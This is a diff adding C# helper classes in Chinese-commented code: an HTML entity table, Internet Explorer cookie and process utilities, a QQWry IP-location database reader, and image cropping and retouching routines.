"†-dagger", "‡-Dagger", "•-bull", "…-hellip", "‰-permil", "′-prime", "″-Prime", "‹-lsaquo", "›-rsaquo", "‾-oline", "⁄-frasl", "€-euro", "ℑ-image", "℘-weierp", "ℜ-real", "™-trade",
|
||||
"ℵ-alefsym", "←-larr", "↑-uarr", "→-rarr", "↓-darr", "↔-harr", "↵-crarr", "⇐-lArr", "⇑-uArr", "⇒-rArr", "⇓-dArr", "⇔-hArr", "∀-forall", "∂-part", "∃-exist", "∅-empty",
|
||||
"∇-nabla", "∈-isin", "∉-notin", "∋-ni", "∏-prod", "∑-sum", "−-minus", "∗-lowast", "√-radic", "∝-prop", "∞-infin", "∠-ang", "∧-and", "∨-or", "∩-cap", "∪-cup",
|
||||
"∫-int", "∴-there4", "∼-sim", "≅-cong", "≈-asymp", "≠-ne", "≡-equiv", "≤-le", "≥-ge", "⊂-sub", "⊃-sup", "⊄-nsub", "⊆-sube", "⊇-supe", "⊕-oplus", "⊗-otimes",
|
||||
"⊥-perp", "⋅-sdot", "⌈-lceil", "⌉-rceil", "⌊-lfloor", "⌋-rfloor", "〈-lang", "〉-rang", "◊-loz", "♠-spades", "♣-clubs", "♥-hearts", "♦-diams"
|
||||
};
|
||||
private static Dictionary<string, char> _lookupTable = GenerateLookupTable();
|
||||
|
||||
// Methods
|
||||
private static Dictionary<string, char> GenerateLookupTable()
|
||||
{
|
||||
Dictionary<string, char> dictionary = new Dictionary<string, char>(StringComparer.Ordinal);
|
||||
foreach (string str in _entitiesList)
|
||||
{
|
||||
dictionary.Add(str.Substring(2), str[0]);
|
||||
}
|
||||
return dictionary;
|
||||
}
|
||||
|
||||
public static char Lookup(string entity)
|
||||
{
|
||||
char ch;
|
||||
_lookupTable.TryGetValue(entity, out ch);
|
||||
return ch;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,193 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
/// <summary>
|
||||
/// IE清理程序
|
||||
/// </summary>
|
||||
public static class IECookies
|
||||
{
|
||||
[DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool InternetGetCookieEx(string pchURL, string pchCookieName, StringBuilder pchCookieData,
|
||||
ref System.UInt32 pcchCookieData, int dwFlags, IntPtr lpReserved);
|
||||
|
||||
[DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern int InternetSetCookieEx(string lpszURL, string lpszCookieName, string lpszCookieData,
|
||||
int dwFlags, IntPtr dwReserved);
|
||||
|
||||
[DllImport("shell32.dll")]
|
||||
static extern IntPtr ShellExecute(IntPtr hwnd, string lpOperation, string lpFile, string lpParameters, string lpDirectory, ShowCommands nShowCmd);
|
||||
|
||||
|
||||
private const int INTERNET_COOKIE_HTTPONLY = 0x00002000;
|
||||
|
||||
|
||||
[DllImport("wininet.dll", SetLastError = true)]
|
||||
private static extern bool InternetGetCookieEx(
|
||||
string url,
|
||||
string cookieName,
|
||||
StringBuilder cookieData,
|
||||
ref int size,
|
||||
int flags,
|
||||
IntPtr pReserved);
|
||||
/// <summary>
|
||||
/// 获取当前webbrowser 下的cookies
|
||||
/// </summary>
|
||||
/// <param name="url"></param>
|
||||
/// <returns></returns>
|
||||
public static string GetCookieByWebBrowser(string url)
|
||||
{
|
||||
int size = 512;
|
||||
StringBuilder sb = new StringBuilder(size);
|
||||
if (!InternetGetCookieEx(url, null, sb, ref size, INTERNET_COOKIE_HTTPONLY, IntPtr.Zero))
|
||||
{
|
||||
if (size < 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
sb = new StringBuilder(size);
|
||||
if (!InternetGetCookieEx(url, null, sb, ref size, INTERNET_COOKIE_HTTPONLY, IntPtr.Zero))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
return sb.ToString();
|
||||
}
|
||||
/// <summary>
|
||||
/// 获取webbrowser UserAgent
|
||||
/// </summary>
|
||||
/// <returns></returns>
|
||||
public static string GetUserAgent()
|
||||
{
|
||||
WebBrowser wb = new WebBrowser();
|
||||
wb.Navigate("about:blank");
|
||||
while (wb.IsBusy) Application.DoEvents();
|
||||
object window = wb.Document.Window.DomWindow;
|
||||
Type wt = window.GetType();
|
||||
object navigator = wt.InvokeMember("navigator", BindingFlags.GetProperty, null, window, new object[] { });
|
||||
Type nt = navigator.GetType();
|
||||
object userAgent = nt.InvokeMember("userAgent", BindingFlags.GetProperty, null, navigator, new object[] { });
|
||||
return userAgent.ToString();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 用IE打开网页
|
||||
/// </summary>
|
||||
/// <param name="url"></param>
|
||||
public static void OpenUrlByIE(string url)
|
||||
{
|
||||
Process.Start("iexplore.exe", url);
|
||||
}
|
||||
/// <summary>
|
||||
/// 关闭所有IE浏览器
|
||||
/// </summary>
|
||||
public static void CloseIE()
|
||||
{
|
||||
foreach (Process thisproc in Process.GetProcesses())
|
||||
{
|
||||
if (thisproc.ProcessName.ToLower() == "iexplore")
|
||||
thisproc.Kill();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 获取IE下的cookies
|
||||
/// </summary>
|
||||
/// <param name="url"></param>
|
||||
/// <returns></returns>
|
||||
public static string GetCookies(string url)
|
||||
{
|
||||
uint datasize = 256;
|
||||
StringBuilder cookieData = new StringBuilder((int)datasize);
|
||||
if (!InternetGetCookieEx(url, null, cookieData, ref datasize, 0x2000, IntPtr.Zero))
|
||||
{
|
||||
if (datasize < 0)
|
||||
return null;
|
||||
cookieData = new StringBuilder((int)datasize);
|
||||
if (!InternetGetCookieEx(url, null, cookieData, ref datasize, 0x00002000, IntPtr.Zero))
|
||||
return null;
|
||||
}
|
||||
return cookieData.ToString();
|
||||
}
|
||||
/// <summary>
|
||||
/// 清除IE所有缓存
|
||||
/// </summary>
|
||||
public static void ClearAll()
|
||||
{
|
||||
ShellExecute(IntPtr.Zero, "open", "rundll32.exe", " InetCpl.cpl,ClearMyTracksByProcess 8", "", ShowCommands.SW_HIDE);
|
||||
}
|
||||
|
||||
|
||||
public enum ShowCommands : int
|
||||
{
|
||||
SW_HIDE = 0,
|
||||
SW_SHOWNOrmAL = 1,
|
||||
SW_NOrmAL = 1,
|
||||
SW_SHOWMINIMIZED = 2,
|
||||
SW_SHOWMAXIMIZED = 3,
|
||||
SW_MAXIMIZE = 3,
|
||||
SW_SHOWNOACTIVATE = 4,
|
||||
SW_SHOW = 5,
|
||||
SW_MINIMIZE = 6,
|
||||
SW_SHOWMINNOACTIVE = 7,
|
||||
SW_SHOWNA = 8,
|
||||
SW_RESTORE = 9,
|
||||
SW_SHOWDEFAULT = 10,
|
||||
SW_FORCEMINIMIZE = 11,
|
||||
SW_MAX = 11
|
||||
}
|
||||
/// <summary>
|
||||
/// 通过注册表获取IE版本
|
||||
/// </summary>
|
||||
/// <returns></returns>
|
||||
public static int GetIeVerson()
|
||||
{
|
||||
int mainVer = (new WebBrowser()).Version.Major;
|
||||
return mainVer;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 设置WebBrower IE默认版本
|
||||
/// </summary>
|
||||
/// <param name="version"></param>
|
||||
public static void SetWebBrowerIe(int version)
|
||||
{
|
||||
int de = 0x1B58;
|
||||
if (version == 8)
|
||||
de = 0x1F40;
|
||||
if (version == 9)
|
||||
de = 0x2328;
|
||||
if (version == 10)
|
||||
de = 0x2710;
|
||||
if (version == 11)
|
||||
de = 0x2af8;
|
||||
|
||||
bool type = Environment.Is64BitOperatingSystem;//系统是否是64位
|
||||
var exeName = Process.GetCurrentProcess().ProcessName + ".exe";
|
||||
var hklm = Registry.LocalMachine;
|
||||
string key = type
|
||||
? @"SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION"
|
||||
: @"SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION";
|
||||
|
||||
try
|
||||
{
|
||||
var lmRun = hklm.OpenSubKey(key, true);
|
||||
if (lmRun == null)
|
||||
return;
|
||||
lmRun.SetValue(exeName, de); //设置webbrowser调用IE最高版本内核打开
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,505 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class IPLocationSearch
|
||||
{
|
||||
private static readonly QQWry qq = new QQWry("qqwry.dat");
|
||||
|
||||
public static IPLocation GetIPLocation(string ip)
|
||||
{
|
||||
return qq.SearchIPLocation(ip);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
使用方法:
|
||||
|
||||
例子:
|
||||
BDQQ.Data.QQWry qq=new BDQQ.Data.QQWry("d:\\QQWry.Dat");
|
||||
BDQQ.Data.IPLocation ip=qq.SearchIPLocation("127.0.0.1");//这里添写IP地址
|
||||
Console.WriteLine(ip.country);//国家
|
||||
Console.WriteLine(ip.area);//地区
|
||||
*/
|
||||
|
||||
//以下是类文件
|
||||
//根据LumaQQ改写而成.
|
||||
|
||||
/**/
|
||||
///<summary>
|
||||
/// QQWry 的摘要说明。
|
||||
///</summary>
|
||||
public class QQWry
|
||||
{
|
||||
//第一种模式
|
||||
#region 第一种模式
|
||||
/**/
|
||||
///<summary>
|
||||
///第一种模式
|
||||
///</summary>
|
||||
#endregion
|
||||
private const byte REDIRECT_MODE_1 = 0x01;
|
||||
|
||||
//第二种模式
|
||||
#region 第二种模式
|
||||
/**/
|
||||
///<summary>
|
||||
///第二种模式
|
||||
///</summary>
|
||||
#endregion
|
||||
private const byte REDIRECT_MODE_2 = 0x02;
|
||||
|
||||
//每条记录长度
|
||||
#region 每条记录长度
|
||||
/**/
|
||||
///<summary>
|
||||
///每条记录长度
|
||||
///</summary>
|
||||
#endregion
|
||||
private const int IP_RECORD_LENGTH = 7;
|
||||
|
||||
//数据库文件
|
||||
#region 数据库文件
|
||||
/**/
|
||||
///<summary>
|
||||
///文件对象
|
||||
///</summary>
|
||||
#endregion
|
||||
private FileStream ipFile;
|
||||
|
||||
private const string unCountry = "未知国家";
|
||||
private const string unArea = "未知地区";
|
||||
|
||||
//索引开始位置
|
||||
#region 索引开始位置
|
||||
/**/
|
||||
///<summary>
|
||||
///索引开始位置
|
||||
///</summary>
|
||||
#endregion
|
||||
private long ipBegin;
|
||||
|
||||
//索引结束位置
|
||||
#region 索引结束位置
|
||||
/**/
|
||||
///<summary>
|
||||
///索引结束位置
|
||||
///</summary>
|
||||
#endregion
|
||||
private long ipEnd;
|
||||
|
||||
//IP地址对象
|
||||
#region IP地址对象
|
||||
/**/
|
||||
///<summary>
|
||||
/// IP对象
|
||||
///</summary>
|
||||
#endregion
|
||||
private IPLocation loc;
|
||||
|
||||
//存储文本内容
|
||||
#region 存储文本内容
|
||||
/**/
|
||||
///<summary>
|
||||
///存储文本内容
|
||||
///</summary>
|
||||
#endregion
|
||||
private byte[] buf;
|
||||
|
||||
//存储3字节
|
||||
#region 存储3字节
|
||||
/**/
|
||||
///<summary>
|
||||
///存储3字节
|
||||
///</summary>
|
||||
#endregion
|
||||
private byte[] b3;
|
||||
|
||||
//存储4字节
|
||||
#region 存储4字节
|
||||
/**/
|
||||
///<summary>
|
||||
///存储4字节IP地址
|
||||
///</summary>
|
||||
#endregion
|
||||
private byte[] b4;
|
||||
|
||||
//构造函数
|
||||
#region 构造函数
|
||||
/**/
|
||||
///<summary>
|
||||
///构造函数
|
||||
///</summary>
|
||||
///<param name="ipfile">IP数据库文件绝对路径</param>
|
||||
#endregion
|
||||
public QQWry(string ipfile)
|
||||
{
|
||||
|
||||
buf = new byte[100];
|
||||
b3 = new byte[3];
|
||||
b4 = new byte[4];
|
||||
try
|
||||
{
|
||||
ipFile = new FileStream(ipfile, FileMode.Open);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new Exception(ex.Message);
|
||||
}
|
||||
ipBegin = readLong4(0);
|
||||
ipEnd = readLong4(4);
|
||||
loc = new IPLocation();
|
||||
}
|
||||
|
||||
//根据IP地址搜索
|
||||
#region 根据IP地址搜索
|
||||
/**/
|
||||
///<summary>
|
||||
///搜索IP地址搜索
|
||||
///</summary>
|
||||
///<param name="ip"></param>
|
||||
///<returns></returns>
|
||||
#endregion
|
||||
public IPLocation SearchIPLocation(string ip)
|
||||
{
|
||||
//将字符IP转换为字节
|
||||
string[] ipSp = ip.Split('.');
|
||||
if (ipSp.Length != 4)
|
||||
{
|
||||
throw new ArgumentOutOfRangeException("不是合法的IP地址!");
|
||||
}
|
||||
byte[] IP = new byte[4];
|
||||
for (int i = 0; i < IP.Length; i++)
|
||||
{
|
||||
IP[i] = (byte)(Int32.Parse(ipSp[i]) & 0xFF);
|
||||
}
|
||||
|
||||
IPLocation local = null;
|
||||
long offset = locateIP(IP);
|
||||
|
||||
if (offset != -1)
|
||||
{
|
||||
local = getIPLocation(offset);
|
||||
}
|
||||
|
||||
if (local == null)
|
||||
{
|
||||
local = new IPLocation();
|
||||
local.area = unArea;
|
||||
local.country = unCountry;
|
||||
}
|
||||
return local;
|
||||
}
|
||||
|
||||
//取得具体信息
|
||||
#region 取得具体信息
|
||||
/**/
|
||||
///<summary>
|
||||
///取得具体信息
|
||||
///</summary>
|
||||
///<param name="offset"></param>
|
||||
///<returns></returns>
|
||||
#endregion
|
||||
private IPLocation getIPLocation(long offset)
|
||||
{
|
||||
ipFile.Position = offset + 4;
|
||||
//读取第一个字节判断是否是标志字节
|
||||
byte one = (byte)ipFile.ReadByte();
|
||||
if (one == REDIRECT_MODE_1)
|
||||
{
|
||||
//第一种模式
|
||||
//读取国家偏移
|
||||
long countryOffset = readLong3();
|
||||
//转至偏移处
|
||||
ipFile.Position = countryOffset;
|
||||
//再次检查标志字节
|
||||
byte b = (byte)ipFile.ReadByte();
|
||||
if (b == REDIRECT_MODE_2)
|
||||
{
|
||||
loc.country = readString(readLong3());
|
||||
ipFile.Position = countryOffset + 4;
|
||||
}
|
||||
else
|
||||
loc.country = readString(countryOffset);
|
||||
|
||||
//读取地区标志
|
||||
loc.area = readArea(ipFile.Position);
|
||||
|
||||
}
|
||||
else if (one == REDIRECT_MODE_2)
|
||||
{
|
||||
//第二种模式
|
||||
loc.country = readString(readLong3());
|
||||
loc.area = readArea(offset + 8);
|
||||
}
|
||||
else
|
||||
{
|
||||
//普通模式
|
||||
loc.country = readString(--ipFile.Position);
|
||||
loc.area = readString(ipFile.Position);
|
||||
}
|
||||
return loc;
|
||||
}
|
||||
|
||||
//取得地区信息
|
||||
#region 取得地区信息
|
||||
/**/
|
||||
///<summary>
|
||||
///读取地区名称
|
||||
///</summary>
|
||||
///<param name="offset"></param>
|
||||
///<returns></returns>
|
||||
#endregion
|
||||
private string readArea(long offset)
|
||||
{
|
||||
ipFile.Position = offset;
|
||||
byte one = (byte)ipFile.ReadByte();
|
||||
if (one == REDIRECT_MODE_1 || one == REDIRECT_MODE_2)
|
||||
{
|
||||
long areaOffset = readLong3(offset + 1);
|
||||
if (areaOffset == 0)
|
||||
return unArea;
|
||||
else
|
||||
{
|
||||
return readString(areaOffset);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return readString(offset);
|
||||
}
|
||||
}
|
||||
|
||||
//读取字符串
|
||||
#region 读取字符串
|
||||
/**/
|
||||
///<summary>
|
||||
///读取字符串
|
||||
///</summary>
|
||||
///<param name="offset"></param>
|
||||
///<returns></returns>
|
||||
#endregion
|
||||
private string readString(long offset)
|
||||
{
|
||||
ipFile.Position = offset;
|
||||
int i = 0;
|
||||
for (i = 0, buf[i] = (byte)ipFile.ReadByte(); buf[i] != (byte)(0); buf[++i] = (byte)ipFile.ReadByte()) ;
|
||||
|
||||
if (i > 0)
|
||||
return Encoding.Default.GetString(buf, 0, i);
|
||||
else
|
||||
return "";
|
||||
}
|
||||
|
||||
//查找IP地址所在的绝对偏移量
|
||||
#region 查找IP地址所在的绝对偏移量
|
||||
/**/
|
||||
///<summary>
|
||||
///查找IP地址所在的绝对偏移量
|
||||
///</summary>
|
||||
///<param name="ip"></param>
|
||||
///<returns></returns>
|
||||
#endregion
|
||||
private long locateIP(byte[] ip)
|
||||
{
|
||||
long m = 0;
|
||||
int r;
|
||||
|
||||
//比较第一个IP项
|
||||
readIP(ipBegin, b4);
|
||||
r = compareIP(ip, b4);
|
||||
if (r == 0)
|
||||
return ipBegin;
|
||||
else if (r < 0)
|
||||
return -1;
|
||||
//开始二分搜索
|
||||
for (long i = ipBegin, j = ipEnd; i < j; )
|
||||
{
|
||||
m = this.getMiddleOffset(i, j);
|
||||
readIP(m, b4);
|
||||
r = compareIP(ip, b4);
|
||||
if (r > 0)
|
||||
i = m;
|
||||
else if (r < 0)
|
||||
{
|
||||
if (m == j)
|
||||
{
|
||||
j -= IP_RECORD_LENGTH;
|
||||
m = j;
|
||||
}
|
||||
else
|
||||
{
|
||||
j = m;
|
||||
}
|
||||
}
|
||||
else
|
||||
return readLong3(m + 4);
|
||||
}
|
||||
m = readLong3(m + 4);
|
||||
readIP(m, b4);
|
||||
r = compareIP(ip, b4);
|
||||
if (r <= 0)
|
||||
return m;
|
||||
else
|
||||
return -1;
|
||||
}
|
||||
|
||||
//读出4字节的IP地址
|
||||
#region 读出4字节的IP地址
|
||||
/**/
|
||||
///<summary>
|
||||
///从当前位置读取四字节,此四字节是IP地址
|
||||
///</summary>
|
||||
///<param name="offset"></param>
|
||||
///<param name="ip"></param>
|
||||
#endregion
|
||||
private void readIP(long offset, byte[] ip)
|
||||
{
|
||||
ipFile.Position = offset;
|
||||
ipFile.Read(ip, 0, ip.Length);
|
||||
byte tmp = ip[0];
|
||||
ip[0] = ip[3];
|
||||
ip[3] = tmp;
|
||||
tmp = ip[1];
|
||||
ip[1] = ip[2];
|
||||
ip[2] = tmp;
|
||||
}
|
||||
|
||||
//比较IP地址是否相同
|
||||
#region 比较IP地址是否相同
|
||||
/**/
|
||||
///<summary>
|
||||
///比较IP地址是否相同
|
||||
///</summary>
|
||||
///<param name="ip"></param>
|
||||
///<param name="beginIP"></param>
|
||||
///<returns>0:相等,1:ip大于beginIP,-1:小于</returns>
|
||||
#endregion
|
||||
private int compareIP(byte[] ip, byte[] beginIP)
|
||||
{
|
||||
for (int i = 0; i < 4; i++)
|
||||
{
|
||||
int r = compareByte(ip[i], beginIP[i]);
|
||||
if (r != 0)
|
||||
return r;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
//比较两个字节是否相等
|
||||
#region 比较两个字节是否相等
|
||||
/**/
|
||||
///<summary>
|
||||
///比较两个字节是否相等
|
||||
///</summary>
|
||||
///<param name="bsrc"></param>
|
||||
///<param name="bdst"></param>
|
||||
///<returns></returns>
|
||||
#endregion
|
||||
private int compareByte(byte bsrc, byte bdst)
|
||||
{
|
||||
if ((bsrc & 0xFF) > (bdst & 0xFF))
|
||||
return 1;
|
||||
else if ((bsrc ^ bdst) == 0)
|
||||
return 0;
|
||||
else
|
||||
return -1;
|
||||
}
|
||||
|
||||
//根据当前位置读取4字节
|
||||
#region 根据当前位置读取4字节
|
||||
/**/
|
||||
///<summary>
|
||||
///从当前位置读取4字节,转换为长整型
|
||||
///</summary>
|
||||
///<param name="offset"></param>
|
||||
///<returns></returns>
|
||||
#endregion
|
||||
private long readLong4(long offset)
|
||||
{
|
||||
long ret = 0;
|
||||
ipFile.Position = offset;
|
||||
ret |= (ipFile.ReadByte() & 0xFF);
|
||||
ret |= ((ipFile.ReadByte() << 8) & 0xFF00);
|
||||
ret |= ((ipFile.ReadByte() << 16) & 0xFF0000);
|
||||
ret |= ((ipFile.ReadByte() << 24) & 0xFF000000);
|
||||
return ret;
|
||||
}
|
||||
|
||||
//根据当前位置,读取3字节
|
||||
#region 根据当前位置,读取3字节
|
||||
/**/
|
||||
///<summary>
|
||||
///根据当前位置,读取3字节
|
||||
///</summary>
|
||||
///<param name="offset"></param>
|
||||
///<returns></returns>
|
||||
#endregion
|
||||
private long readLong3(long offset)
|
||||
{
|
||||
long ret = 0;
|
||||
ipFile.Position = offset;
|
||||
ret |= (ipFile.ReadByte() & 0xFF);
|
||||
ret |= ((ipFile.ReadByte() << 8) & 0xFF00);
|
||||
ret |= ((ipFile.ReadByte() << 16) & 0xFF0000);
|
||||
return ret;
|
||||
}
|
||||
|
||||
//从当前位置读取3字节
|
||||
#region 从当前位置读取3字节
|
||||
/**/
|
||||
///<summary>
|
||||
///从当前位置读取3字节
|
||||
///</summary>
|
||||
///<returns></returns>
|
||||
#endregion
|
||||
private long readLong3()
|
||||
{
|
||||
long ret = 0;
|
||||
ret |= (ipFile.ReadByte() & 0xFF);
|
||||
ret |= ((ipFile.ReadByte() << 8) & 0xFF00);
|
||||
ret |= ((ipFile.ReadByte() << 16) & 0xFF0000);
|
||||
return ret;
|
||||
}
|
||||
|
||||
//取得begin和end之间的偏移量
|
||||
#region 取得begin和end之间的偏移量
|
||||
/**/
|
||||
///<summary>
|
||||
///取得begin和end中间的偏移
|
||||
///</summary>
|
||||
///<param name="begin"></param>
|
||||
///<param name="end"></param>
|
||||
///<returns></returns>
|
||||
#endregion
|
||||
private long getMiddleOffset(long begin, long end)
|
||||
{
|
||||
long records = (end - begin) / IP_RECORD_LENGTH;
|
||||
records >>= 1;
|
||||
if (records == 0)
|
||||
records = 1;
|
||||
return begin + records * IP_RECORD_LENGTH;
|
||||
}
|
||||
} //class QQWry
|
||||
|
||||
public class IPLocation
|
||||
{
|
||||
public String country;
|
||||
public String area;
|
||||
|
||||
public IPLocation()
|
||||
{
|
||||
country = area = "";
|
||||
}
|
||||
|
||||
public IPLocation getCopy()
|
||||
{
|
||||
IPLocation ret = new IPLocation();
|
||||
ret.country = country;
|
||||
ret.area = area;
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,600 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class ImageBuild
|
||||
{
|
||||
public byte[] Img;
|
||||
public int Width = 0, Height = 0;
|
||||
public Image InitImage = null;
|
||||
public Bitmap InitImagex = null;
|
||||
public string format = "";
|
||||
public bool CanUser
|
||||
{
|
||||
get { return format == ".jpg" || format == ".png"; }
|
||||
}
|
||||
|
||||
public ImageBuild(byte[] image)
|
||||
{
|
||||
if (image == null || image.Length == 0)
|
||||
return;
|
||||
Img = image;
|
||||
try
|
||||
{
|
||||
MemoryStream ms = new MemoryStream(Img);
|
||||
InitImage = Image.FromStream(ms);
|
||||
var f = GetImageFormat(InitImage, out format);
|
||||
ms.Close();
|
||||
Width = InitImage.Width;
|
||||
Height = InitImage.Height;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] ImageSheild()
|
||||
{
|
||||
if (Width > 700 || Height > 700)
|
||||
{
|
||||
CutToSize(700, 700);
|
||||
}
|
||||
InitImagex = (Bitmap)InitImage;
|
||||
long r = 0, g = 0, b = 0;
|
||||
|
||||
|
||||
for (int i = 0; i < InitImagex.Height - 3; i++)
|
||||
{
|
||||
for (int j = 0; j < InitImagex.Width - 3;)
|
||||
{
|
||||
Color c = InitImagex.GetPixel(i, j);
|
||||
int rr = c.R, bb = c.B, gg = c.G;
|
||||
for (int k = 0; k < 3; k++)
|
||||
{
|
||||
for (int l = 0; l < 3; l++)
|
||||
{
|
||||
if (k == 1 && l == 1 || k == 0 && l == 0)
|
||||
continue;
|
||||
var cc = InitImagex.GetPixel(i + k, j + l);
|
||||
if (Math.Abs(cc.R - c.R) > 15 || Math.Abs(cc.B - c.B) > 15 || Math.Abs(cc.G - c.G) > 15)
|
||||
goto End;
|
||||
rr += cc.R;
|
||||
bb += cc.B;
|
||||
gg += cc.G;
|
||||
}
|
||||
}
|
||||
c = Color.FromArgb(rr / 8, gg / 8, bb / 8);
|
||||
InitImagex.SetPixel(i + 1, j + 1, c);
|
||||
End:
|
||||
j++;
|
||||
}
|
||||
}
|
||||
for (int i = 0; i < InitImagex.Height; i++)
|
||||
{
|
||||
for (int j = 0; j < InitImagex.Width; j++)
|
||||
{
|
||||
Color c = InitImagex.GetPixel(i, j);
|
||||
r += c.R;
|
||||
g += c.G;
|
||||
b += c.B;
|
||||
}
|
||||
}
|
||||
int avgR = (int)(r / InitImagex.Height / InitImagex.Width);
|
||||
int avgG = (int)(g / InitImagex.Height / InitImagex.Width);
|
||||
int avgB = (int)(b / InitImagex.Height / InitImagex.Width);
|
||||
int avg = avgB + avgR + avgG;
|
||||
for (int i = 0; i < InitImagex.Height; i++)
|
||||
{
|
||||
for (int j = 0; j < InitImagex.Width; j++)
|
||||
{
|
||||
Color c = InitImagex.GetPixel(i, j);
|
||||
bool add = c.R + c.B + c.G > avg;
|
||||
int rr = add ? c.R < 240 ? c.R + 10 : 255 : c.R > 15 ? c.R - 15 : 0;
|
||||
int gg = add ? c.G < 240 ? c.G + 10 : 255 : c.G > 15 ? c.G - 15 : 0;
|
||||
int bb = add ? c.B < 240 ? c.B + 10 : 255 : c.B > 15 ? c.B - 15 : 0;
|
||||
c = Color.FromArgb(rr, gg, bb);
|
||||
InitImagex.SetPixel(i, j, c);
|
||||
}
|
||||
}
|
||||
InitImagex.Save("1.jpg", ImageFormat.Jpeg);
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 裁剪为指定大小,不符合则返回null
|
||||
/// </summary>
|
||||
/// <param name="width"></param>
|
||||
/// <param name="height"></param>
|
||||
/// <returns></returns>
|
||||
public byte[] CutToSize(int width, int height)
|
||||
{
|
||||
if (InitImage == null)
|
||||
return null;
|
||||
int w = InitImage.Width;
|
||||
int h = InitImage.Height;
|
||||
if (w < width || h < height)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
int x = 0, y = 0, nw = w, nh = h;
|
||||
int tx = 0, ty = 0, tw = width, th = height;
|
||||
double f = w * 1.0 / width;
|
||||
double t = h * 1.0 / height;
|
||||
if (f == t)//无需变化
|
||||
{
|
||||
}
|
||||
else if (f > t)//宽度较大
|
||||
{
|
||||
x = (int)(((f - t) / 2) * width);
|
||||
nw = w - x * 2;
|
||||
}
|
||||
else//高度较大
|
||||
{
|
||||
y = (int)((t - f) / 2 * height);
|
||||
nh = h - y * 2;
|
||||
}
|
||||
Rectangle fromR = new Rectangle(x, y, nw, nh);
|
||||
Rectangle toR = new Rectangle(tx, ty, tw, th);
|
||||
Bitmap pickedImage = new Bitmap(width, height);
|
||||
|
||||
Graphics pickedG = Graphics.FromImage(pickedImage);
|
||||
pickedG.InterpolationMode = InterpolationMode.Low;
|
||||
pickedG.SmoothingMode = SmoothingMode.HighSpeed;
|
||||
pickedG.DrawImage(InitImage, toR, fromR, GraphicsUnit.Pixel);
|
||||
//转图片后转二进制数组
|
||||
InitImage = (Image)pickedImage.Clone();
|
||||
MemoryStream ms = new MemoryStream();
|
||||
ImageCodecInfo icc = GetCodeInfo("1.jpg");
|
||||
long quality = 80;
|
||||
EncoderParameters ep = new EncoderParameters(1);
|
||||
ep.Param[0] = new EncoderParameter(Encoder.Quality, quality);
|
||||
InitImage.Save(ms, icc, ep);
|
||||
byte[] bytes = ms.ToArray();
|
||||
return bytes;
|
||||
}
|
||||
/// <summary>
|
||||
/// 添加线条
|
||||
/// </summary>
|
||||
/// <param name="img"></param>
|
||||
public void AddLineToImage(ref byte[] img)
|
||||
{
|
||||
MemoryStream ms = new MemoryStream(img);
|
||||
var image = (Bitmap)Image.FromStream(ms);
|
||||
ms.Close();
|
||||
int width = image.Width;
|
||||
int height = image.Height;
|
||||
if (width < 100 || height < 100)
|
||||
return;
|
||||
int r = Randomx.GetId(100, 256);
|
||||
int b = Randomx.GetId(100, 256);
|
||||
int g = Randomx.GetId(100, 256);
|
||||
int h = Randomx.GetId(1, 10);
|
||||
var c = Color.FromArgb(r, g, b);
|
||||
for (int i = 0; i < h; i++)
|
||||
{
|
||||
for (int j = 0; j < height; j++)
|
||||
image.SetPixel(i, j, c);
|
||||
for (int j = 0; j < width; j++)
|
||||
image.SetPixel(j, i, c);
|
||||
}
|
||||
for (int i = height - h; i < height; i++)
|
||||
{
|
||||
for (int j = 0; j < width; j++)
|
||||
image.SetPixel(j, i, c);
|
||||
}
|
||||
for (int i = width - h; i < width; i++)
|
||||
{
|
||||
for (int j = 0; j < height; j++)
|
||||
image.SetPixel(i, j, c);
|
||||
}
|
||||
ImageCodecInfo icc = GetCodeInfo("1.jpg");
|
||||
long quality = 75;
|
||||
ms = new MemoryStream();
|
||||
EncoderParameters ep = new EncoderParameters(1);
|
||||
ep.Param[0] = new EncoderParameter(Encoder.Quality, quality);
|
||||
image.Save(ms, icc, ep);
|
||||
img = ms.ToArray();
|
||||
//FileBase.WriteBytes("1.jpg", bytes);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 输出固定大小图片,背景白色填充,返回JPG格式二进制代码
|
||||
/// </summary>
|
||||
/// <param name="width"></param>
|
||||
/// <param name="height"></param>
|
||||
/// <param name="maxSize">最大尺寸KB</param>
|
||||
/// <param name="qu">图片质量</param>
|
||||
/// <returns></returns>
|
||||
